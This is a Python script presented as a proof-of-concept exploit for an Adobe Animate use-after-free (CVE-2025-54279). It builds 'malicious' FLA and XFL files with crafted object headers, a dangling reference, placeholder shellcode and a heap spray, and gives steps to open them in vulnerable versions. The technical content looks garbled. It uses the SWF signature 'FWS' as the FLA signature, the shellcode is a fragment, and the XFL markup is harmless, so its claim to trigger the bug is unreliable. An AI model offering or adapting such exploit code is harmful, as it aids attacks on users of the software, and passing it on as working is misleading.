# CVE-2025-54279 - Adobe Animate Use After Free Vulnerability PoC
# This is a conceptual PoC demonstrating the exploitation approach
# Actual exploitation requires a specially crafted Animate project file
import struct
import os
class AnimateUAFExploit:
"""
Conceptual PoC for CVE-2025-54279
Adobe Animate Use After Free Vulnerability
The vulnerability exists in the file parsing module of Adobe Animate.
A malicious file can trigger a Use After Free condition leading to
arbitrary code execution when the freed memory is accessed.
"""
# Magic bytes for various Animate file formats
FLA_MAGIC = b'FWS' # FLA (Flash/Animate) file signature
XFL_MAGIC = b'PK\x03\x04' # XFL is essentially a ZIP archive
def __init__(self, output_path):
self.output_path = output_path
self.payload = b""
def create_malicious_object(self, obj_id, obj_size, ref_count):
"""
Create a malicious object structure that triggers UAF.
The object is designed to be freed while still referenced.
"""
# Object header with crafted reference count
header = struct.pack('<I', obj_id) # Object ID
header += struct.pack('<I', obj_size) # Object size
header += struct.pack('<I', ref_count) # Reference count (manipulated)
# Payload data - will be executed after UAF trigger
shellcode = self._generate_shellcode()
return header + shellcode
def _generate_shellcode(self):
"""
Generate shellcode for arbitrary code execution.
In a real exploit, this would be platform-specific shellcode.
"""
# Placeholder shellcode - in real scenarios, this would be
# a carefully crafted payload for the target platform
# Example: Windows x64 calc.exe shellcode (simplified)
shellcode = b"\x48\x31\xc9" # xor rcx, rcx
shellcode += b"\x48\x81\xe9" # sub rcx, ...
shellcode += b"\x90" * 100 # NOP sled placeholder
return shellcode
def build_malicious_fla(self):
"""
Build a malicious FLA file that triggers the UAF vulnerability.
"""
# FLA file structure
file_data = self.FLA_MAGIC # File signature
file_data += struct.pack('<I', 16) # Version
file_data += struct.pack('<I', 100) # File length (placeholder)
# Add crafted objects that will trigger UAF
# Object 1: Will be allocated and then freed
obj1 = self.create_malicious_object(0x41414141, 256, 1)
file_data += obj1
# Object 2: Reference to freed object 1 (triggers UAF)
ref_to_obj1 = struct.pack('<I', 0x41414141) # Dangling reference
file_data += ref_to_obj1
# Add heap spray data to control freed memory content
heap_spray = b"\x41" * 4096 * 100 # Spray heap with controlled data
file_data += heap_spray
return file_data
def build_malicious_xfl(self):
"""
Build a malicious XFL file (ZIP-based format).
"""
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Add malicious DOMDocument.xml that triggers UAF
malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?>
<DOMDocument xmlns="http://ns.adobe.com/xfl/2008/" version="1.0">
<timelines>
<DOMTimeline name="malicious_timeline">
<layers>
<DOMLayer name="layer_1">
<frames>
<DOMFrame index="0">
<elements>
<DOMSymbolInstance libraryItemName="exploit_symbol"/>
</elements>
</DOMFrame>
</frames>
</DOMLayer>
</layers>
</DOMTimeline>
</timelines>
</DOMDocument>'''
zf.writestr('DOMDocument.xml', malicious_xml)
# Add exploit payload as a library symbol
zf.writestr('LIBRARY/exploit_symbol.xml', self._create_exploit_symbol())
return zip_buffer.getvalue()
def _create_exploit_symbol(self):
"""Create a malicious symbol that triggers UAF when loaded."""
return '''<?xml version="1.0" encoding="UTF-8"?>
<DOMSymbolItem xmlns="http://ns.adobe.com/xfl/2008/" name="exploit_symbol">
<timeline>
<DOMTimeline name="sym_timeline">
<layers>
<DOMLayer name="layer_1">
<frames>
<DOMFrame index="0">
<elements>
<DOMShape>
<fills>
<FillStyle index="0">
<SolidColor color="#000000"/>
</FillStyle>
</fills>
<edges>
<Edge fillStyle0="0" edges="0,0 100,0 100,100 0,100"/>
</edges>
</DOMShape>
</elements>
</DOMFrame>
</frames>
</DOMLayer>
</layers>
</DOMTimeline>
</timeline>
</DOMSymbolItem>'''
def generate_poc(self):
"""Generate the final PoC file."""
# Generate malicious FLA file
fla_data = self.build_malicious_fla()
with open(self.output_path, 'wb') as f:
f.write(fla_data)
print(f"[+] PoC file generated: {self.output_path}")
print(f"[!] WARNING: This file exploits CVE-2025-54279")
print(f"[!] Opening this file in vulnerable Adobe Animate versions")
print(f"[!] (23.0.13, 24.0.10 and earlier) will trigger UAF")
print(f"[!] and may result in arbitrary code execution.")
return self.output_path
def main():
"""
Main function to generate CVE-2025-54279 PoC.
Usage:
1. Run this script to generate malicious.fla
2. Open malicious.fla in vulnerable Adobe Animate
3. The UAF vulnerability will be triggered
Note: This is for educational and security research purposes only.
"""
output_file = "cve_2025_54279_poc.fla"
exploit = AnimateUAFExploit(output_file)
exploit.generate_poc()
# Alternative: Generate XFL format PoC
xfl_output = "cve_2025_54279_poc.xfl"
with open(xfl_output, 'wb') as f:
exploit_instance = AnimateUAFExploit(xfl_output)
f.write(exploit_instance.build_malicious_xfl())
print(f"[+] XFL PoC also generated: {xfl_output}")
if __name__ == "__main__":
main()